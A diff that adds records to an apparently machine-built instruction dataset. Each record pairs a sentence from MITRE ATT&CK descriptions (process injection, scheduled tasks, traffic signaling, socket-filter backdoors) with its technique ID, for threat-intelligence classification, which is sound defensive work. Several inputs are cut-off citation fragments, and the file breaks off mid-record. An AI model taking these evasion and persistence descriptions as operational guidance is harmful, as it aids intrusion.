diff --git "a/enterprise_attack.jsonl" "b/enterprise_attack.jsonl"
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+{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "EWM injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: EWM injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation:", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Window Classes)", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Window Classes) ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function) ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation:", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Elastic Process Injection July 2017)", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Elastic Process Injection July 2017) ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013) ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation:", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet Task Scheduler Security)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet Task Scheduler Security) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are multiple ways to access the Task Scheduler in Windows.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are multiple ways to access the Task Scheduler in Windows. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent) ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks.", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task)", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)", "output": "T1053.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) ### Response: T1053.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The observation of the signal packets to trigger the communication can be conducted through different methods.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The observation of the signal packets to trigger the communication can be conducted through different methods. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation:", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use the Wake-on-LAN feature to turn on powered off systems.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet) ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The filter may apply to all traffic passing through the specified network interface (or every interface if not specified).", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing)", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation:", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Leonardo Turla Penquin May 2020)", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Leonardo Turla Penquin May 2020) ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with 